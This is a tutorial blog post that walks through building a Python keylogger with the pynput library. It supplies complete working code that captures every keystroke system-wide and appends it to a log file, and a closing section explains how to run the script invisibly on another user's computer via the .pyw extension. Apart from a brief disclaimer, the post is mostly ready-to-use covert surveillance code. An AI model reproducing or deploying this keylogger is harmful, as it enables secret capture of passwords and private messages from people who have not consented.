How to Build a Keylogger with Python
Wait! This is for educational purposes only!Alright, so you likely have heard about Python's superpowers: you can build websites, robots, machine learning models and automate almost everything in your operational system. It is not different for your external devices. Python has a lot of libraries and integrations, so listening to keyboard events is actually a pretty easy task. Learn in this article how to build a simple keylogger using this amazing programming language!
Disclaimer: This article is for educational purposes only. Have in mind that with great power comes great responsibility and it is unethical and illegal to use this for spying or social engineering activities.
Firstly, what is a keylogger?
A keylogger is basically a device for recording the keys typed by a computer user from a keyboard. It is commonly used for monitoring what is typed without user consent. It can be built as software or use hardware approaches. In this article, we will build it as a tiny software (a script, actually).
Let's code!
Start by installing the pynput
package:
pip install pynput
We are going to use the Listener
class of the pynput.keyboard
package. This is a high-level interface to listen to keyboard events. We can use it by setting a with
context directly from an instance of Listener
. Its constructor expects a function for the targeted event. An initial example is down below:
# keylogger.py from pynput.keyboard import Listener def handle_key_event(key): print(key) with Listener(on_press=handle_key_event) as l: l.join()
We define a function named handle_key_event
, that receives key
as its parameter. This is called by the Listener
every time that a key is pressed (because we are binding this function to the on_press
property of the Listener
instance.
Into the with
context, we treat the Listener
instance, called l
, as a thread. So, the join
method is responsible for preventing our script from automatically closing. If you run the code above, you will be able to type anything from your keyboard (regardless of which window is focused) and the pressed keys will be printed on the console screen. Say you type this is pretty fun!
. The output will be:
't' 'h' 'i' 's' Key.space 'i' 's' Key.space 'p' 'r' 'e' 't' 't' 'y' Key.space 'f' 'u' 'n' Key.shift_r '!'
This is ugly and hard to interpret, isn't it? The good news is that we can improve this output by adding some key
treatment in the handle_key_event
function! We are going to implement the following rules:
- We start by trying to get the
char
property of thekey
. - If exists, we print it using the
end
parameter ofprint
(to prevent the linebreak of every typed character). - Otherwise, we check the
name
parameter of thekey
. - If it is
space
, then we print a space rather than print the name. - If it is
enter
, we break the line rather than print the name. - Otherwise, we print the name wrapped in square brackets.
One possible implementation is down below:
# keylogger.py from pynput.keyboard import Listener def handle_key_event(key): if getattr(key, 'char', None): print(key.char, end='') else: if (key.name == 'space'): print(' ', end='') elif (key.name == 'enter'): print('\n', end='') else: print(f'[{key.name}]', end='') with Listener(on_press=handle_key_event) as l: l.join()
Then, if you type the same this is pretty fun!
, you get:
this is pretty fun[shift_r]!
This is far more readable, and the square brackets wrapping is to identify special keys (usually the ones that are not printable).
Putting the output into a file
Printing on the console screen is not the best solution for a keylogger, because the main purpose is that this program runs in the system's background - preferably invisible. So now, let's put the captured content into a logging.txt
file.
We define key_data
as the content that will be appended into our text file. Then, inside handle_key_event
we simply open this file and write the key_data
content into it as append mode. We can do like this:
# keylogger.py from pynput.keyboard import Listener LOGGING_FILE_PATH = 'logging.txt' # <-- This will create the file in the same folder as this python module def handle_key_event(key): key_data = '' if getattr(key, 'char', None): key_data = key.char else: if (key.name == 'space'): key_data = ' ' elif (key.name == 'enter'): key_data = '\n' else: key_data = f'[{key.name}]' with open(LOGGING_FILE_PATH, "a") as f: f.write(key_data) with Listener(on_press=handle_key_event) as l: l.join()
Because the append mode already prevents line breaking between content writings, we do not have to care about that end
property we had in the print
function. Then, as we use a with
context to open and write the file, we guarantee that the file logging.txt
is saved after every key is pressed, preventing content from compromising in case of the app crashing or abrupt closing.
Bonus: Hiding your keylogger
So you built your keylogger, but this is kinda useless if you have a dark screen running randomly at the user's computer. To improve this, we can simply change our file extension from .py
to .pyw
. This is responsible for preventing the console screen from showing itself as the script runs. While the script has the .pyw
extension, it will run invisible (although you can see it as a python process in your process/task management).
Need the code? Get it in this gist at GitHub!
Regards,
Bruno Tatsuya.